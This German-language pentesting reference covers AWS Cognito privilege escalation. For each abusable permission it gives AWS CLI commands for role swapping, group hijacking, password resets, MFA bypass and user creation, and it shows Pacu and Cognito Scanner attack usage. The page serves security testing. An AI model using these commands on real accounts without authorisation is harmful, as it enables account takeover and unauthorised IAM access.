AWS - Cognito Privesc

Reading time: 12 minutes

Cognito

Für mehr Infos zu Cognito siehe:

AWS - Cognito Enum

Sammeln von credentials aus dem Identity Pool

Da Cognito IAM role credentials sowohl an authenticated als auch unauthenticated users ausgeben kann, kannst du, wenn du die Identity Pool ID einer Anwendung findest (sollte darin hardcoded sein), neue credentials erhalten und dadurch privesc erlangen (innerhalb eines AWS account, in dem du wahrscheinlich vorher keine credentials hattest).

Für mehr Informationen siehe diese Seite.

Mögliche Auswirkungen: Direkter privesc auf die Service-Rolle, die an unauth users angehängt ist (und wahrscheinlich auch auf die, die an auth users angehängt ist).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Mit dieser Berechtigung kannst du jede cognito role den authenticated/unauthenticated users der cognito app zuweisen.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Wenn die cognito app doesn't have unauthenticated users enabled benötigst du möglicherweise außerdem die Berechtigung cognito-identity:UpdateIdentityPool, um sie zu aktivieren.

Mögliche Auswirkungen: Direkter privesc auf jede cognito role.

cognito-identity:update-identity-pool

Ein Angreifer mit dieser Berechtigung könnte zum Beispiel einen Cognito User Pool unter seiner Kontrolle oder einen beliebigen anderen identity provider einrichten, bei dem er sich anmelden kann — als Möglichkeit, auf diesen Cognito Identity Pool zuzugreifen. Dann reicht ein login bei diesem user provider, um ihm den Zugriff auf die konfigurierte authenticated role im Identity Pool zu ermöglichen.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Es ist auch möglich, diese Berechtigung zu missbrauchen, um basic auth zu erlauben:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Mögliche Auswirkungen: Kompromittierung der konfigurierten authentifizierten IAM role innerhalb des identity pool.

cognito-idp:AdminAddUserToGroup

Diese Berechtigung erlaubt es, einen Cognito user zu einer Cognito group hinzuzufügen, daher könnte ein Angreifer diese Berechtigung missbrauchen, um einen unter seiner Kontrolle stehenden user zu anderen Gruppen mit besseren Privilegien oder anderen IAM roles hinzuzufügen:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Mögliche Auswirkungen: Privesc auf andere Cognito groups und IAM roles, die an User Pool Groups angehängt sind.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Ein Angreifer mit diesen Berechtigungen könnte Gruppen erstellen/aktualisieren mit jeder IAM role, die von einem kompromittierten Cognito Identity Provider verwendet werden kann, und einen kompromittierten Benutzer Teil der Gruppe machen, um auf all diese Rollen zuzugreifen:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Potenzielle Auswirkung: Privesc auf andere Cognito IAM roles.

cognito-idp:AdminConfirmSignUp

Diese Berechtigung erlaubt das Verifizieren einer Registrierung. Standardmäßig kann sich jeder bei Cognito-Anwendungen registrieren; bleibt das so, könnte ein Benutzer ein Konto mit beliebigen Daten erstellen und es mit dieser Berechtigung verifizieren.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Mögliche Auswirkungen: Indirektes privesc auf die identity pool IAM role für authenticated users, wenn ein Angreifer einen neuen Benutzer registrieren kann. Indirektes privesc auf andere App-Funktionalitäten, da er jedes Konto bestätigen kann.

cognito-idp:AdminCreateUser

Diese Berechtigung würde einem Angreifer erlauben, einen neuen Benutzer innerhalb des user pool zu erstellen. Der neue Benutzer wird als aktiviert erstellt, muss jedoch sein Passwort ändern.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Potentielle Auswirkungen: Direkter privesc auf die identity pool IAM role für authentifizierte Benutzer. Indirekter privesc auf andere App-Funktionalitäten, die es ermöglichen, beliebige Benutzer zu erstellen

cognito-idp:AdminEnableUser

Diese Berechtigung kann in einem sehr seltenen Szenario helfen, in dem ein Angreifer die Anmeldedaten eines deaktivierten Benutzers gefunden hat und diesen wieder aktivieren muss.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Mögliche Auswirkungen: Indirekter privesc auf die identity pool IAM role für authentifizierte Benutzer und die Berechtigungen des Benutzers, falls ein Angreifer Anmeldeinformationen eines deaktivierten Benutzers besitzt.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Diese Berechtigung ermöglicht das Einloggen mit der method ADMIN_USER_PASSWORD_AUTH. Für weitere Informationen dem Link folgen.

cognito-idp:AdminSetUserPassword

Diese Berechtigung würde einem Angreifer erlauben, das Passwort beliebiger Benutzer zu ändern, wodurch er sich als beliebige Benutzer ausgeben könnte (die keine MFA aktiviert haben).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Mögliche Auswirkungen: Direkter privesc auf potenziell jeden Benutzer, also Zugriff auf alle Gruppen, deren Mitglied jeder Benutzer ist, und Zugriff auf die Identity Pool authenticated IAM role.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Ein Angreifer könnte diese Berechtigung möglicherweise missbrauchen, um ein Mobiltelefon unter seiner Kontrolle als SMS MFA eines Benutzers festzulegen.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Ähnlich wie bei der vorherigen kann diese Berechtigung verwendet werden, um die MFA-Präferenzen eines Benutzers zu setzen und so die MFA protection zu bypass.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Ähnlich wie beim vorherigen Eintrag kann diese Berechtigung verwendet werden, um die MFA-Einstellungen eines user pools zu setzen und den MFA-Schutz zu bypass.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Es ist außerdem möglich, den user pool zu aktualisieren, um die MFA-Richtlinie zu ändern. Check cli here.

Potential Impact: Indirekter privesc gegen potenziell jeden user, dessen credentials der attacker kennt; dies könnte es ermöglichen, den MFA-Schutz zu bypassen.

cognito-idp:AdminUpdateUserAttributes

Ein attacker mit dieser Berechtigung könnte die email oder phone number oder jedes andere attribute eines user unter seiner Kontrolle ändern, um zu versuchen, in einer zugrunde liegenden application mehr Privilegien zu erlangen.
Dies ermöglicht, eine email oder phone number zu ändern und als verified zu setzen.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Potentielle Auswirkungen: Potentielle indirekte privesc in der zugrunde liegenden Anwendung, die einen Cognito User Pool verwendet und Berechtigungen basierend auf Benutzerattributen vergibt.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Ein Angreifer mit dieser Berechtigung könnte einen neuen User Pool Client erstellen, der weniger eingeschränkt ist als bereits vorhandene Pool-Clients. Zum Beispiel könnte der neue Client beliebige Authentifizierungsmethoden erlauben, kein secret haben, die token revocation deaktiviert haben und Tokens für einen längeren Zeitraum gültig lassen...

Dasselbe kann passieren, wenn statt eines neuen Clients ein bestehender verändert wird.

In der command line (oder beim update one) siehst du alle Optionen, schau es dir an!

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Mögliche Auswirkungen: Indirekte privesc des Identity Pool-autorisierten Benutzers, der vom User Pool verwendet wird, indem ein neuer Client erstellt wird, der die Sicherheitsmaßnahmen lockert und es einem Angreifer ermöglicht, sich mit einem Benutzer einzuloggen, den er erstellen konnte.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Ein Angreifer könnte diese Berechtigung missbrauchen, um Benutzer zu erstellen, indem er eine csv mit neuen Benutzern hochlädt.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(Falls man einen neuen Import-Job erstellt, könnte man außerdem die iam passrole permission benötigen; das habe ich noch nicht getestet.)

Mögliche Auswirkungen: Direktes privesc auf die identity pool IAM role für authentifizierte Benutzer. Indirektes privesc auf andere App-Funktionalitäten, die beliebige Benutzer erstellen können.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Ein Angreifer könnte einen neuen identity provider erstellen, um sich anschließend über diesen Provider anzumelden.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Mögliche Auswirkungen: Direkter privesc auf die identity pool IAM role für authentifizierte Benutzer. Indirekter privesc auf andere App-Funktionen, die das Erstellen beliebiger Benutzer ermöglichen können.

cognito-sync:* Analyse

Dies ist eine sehr häufige Berechtigung, standardmäßig in Rollen von Cognito Identity Pools. Selbst wenn ein Wildcard in Berechtigungen immer schlecht aussieht (insbesondere bei AWS), sind die gegebenen Berechtigungen aus Sicht eines Angreifers nicht besonders nützlich.

Diese Berechtigung erlaubt das Lesen von Nutzungsinformationen der Identity Pools und der Identity IDs innerhalb der Identity Pools (was keine sensiblen Informationen sind).
Identity IDs können Datasets zugewiesen haben, die Informationen über Sessions sind (AWS definiert es wie ein saved game). Es kann möglich sein, dass diese irgendeine Art von sensiblen Informationen enthalten (aber die Wahrscheinlichkeit ist ziemlich gering). Du findest auf der enumeration page, wie man auf diese Informationen zugreift.

Ein Angreifer könnte diese Berechtigungen auch nutzen, um sich selbst in einen Cognito stream einzuschreiben, der Änderungen an diesen datases veröffentlicht, oder eine lambda, die bei cognito events ausgelöst wird. Ich habe das noch nie in der Praxis gesehen und würde hier nicht mit sensiblen Informationen rechnen, aber es ist nicht unmöglich.

Automatische Tools

• Pacu, the AWS exploitation framework, enthält jetzt die Module "cognito__enum" und "cognito__attack", die die Enumeration aller Cognito-Ressourcen in einem Account automatisieren und schwache Konfigurationen, für Zugriffskontrolle verwendete Benutzerattribute etc. markieren, sowie die Benutzererstellung (inkl. MFA-Unterstützung) und privilege escalation basierend auf änderbaren custom attributes, nutzbaren identity pool credentials, assumable roles in id tokens usw. automatisieren.

Für eine Beschreibung der Funktionen der Module siehe part 2 of the blog post. Für Installationsanweisungen siehe die Hauptseite Pacu.

Verwendung

Beispielhafte cognito__attack-Verwendung, um die Erstellung von Benutzern und alle privesc-Vektoren gegen einen bestimmten identity pool und user pool client zu versuchen:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Beispielhafte Verwendung von cognito__enum, um alle user pools, user pool clients, identity pools, users usw. zu sammeln, die im aktuellen AWS-Konto sichtbar sind:

Pacu (new:test) > run cognito__enum

• Cognito Scanner ist ein CLI-Tool in python, das verschiedene Angriffe auf Cognito implementiert, einschließlich einer privesc escalation.

Installation

$ pip install cognito-scanner

Verwendung

$ cognito-scanner --help

Für weitere Informationen siehe https://github.com/padok-team/cognito-scanner